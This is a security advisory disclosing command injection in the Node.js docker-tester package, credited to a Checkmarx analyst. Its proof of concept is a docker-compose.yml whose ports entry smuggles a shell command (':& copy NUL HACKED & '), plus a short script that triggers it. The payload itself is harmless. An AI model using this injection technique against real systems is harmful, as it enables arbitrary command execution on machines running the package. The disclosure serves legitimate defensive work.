Command Injection In Docker-Tester

JAVASCRIPT NPM NODEJS RCE DOCKER CONTAINER


Adar Zandberg Apr 28, 2021

Details Overview

Summary

The Node.js docker-tester package is used to set up a testing environment with a docker-compose file and verify it's up before running tests. Affected versions of this package are vulnerable to command injection via shell metacharacters in the 'ports' entry of a crafted `docker-compose.yml` file.

Product

All versions of docker-tester.

Impact

Execution of malicious OS commands on the machine running docker-tester.

Steps To Reproduce

Create a file named `docker-compose.yml` with the following content:

```
version: "3.9"
services:
  db:
    image: postgres
    ports:
      - ":& copy NUL HACKED & "
```

Then run `poc.js`:

```
const TestingEnvironment = require('docker-tester');
const testingEnvironment = new TestingEnvironment({
   dockerComposeFileLocation: %path of docker-compose file directory%,
   dockerFileName: 'docker-compose.yml',
   verifications: { httpServer: {
       verificationFunction: async (service) => {
       },  promiseRetryOptions: { retries: 4 } }
   } });

var service = testingEnvironment.getActiveService('db')
```

Remediation

No fix is currently available for this package.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Adar Zandberg.

Resources

1. Vulnerable code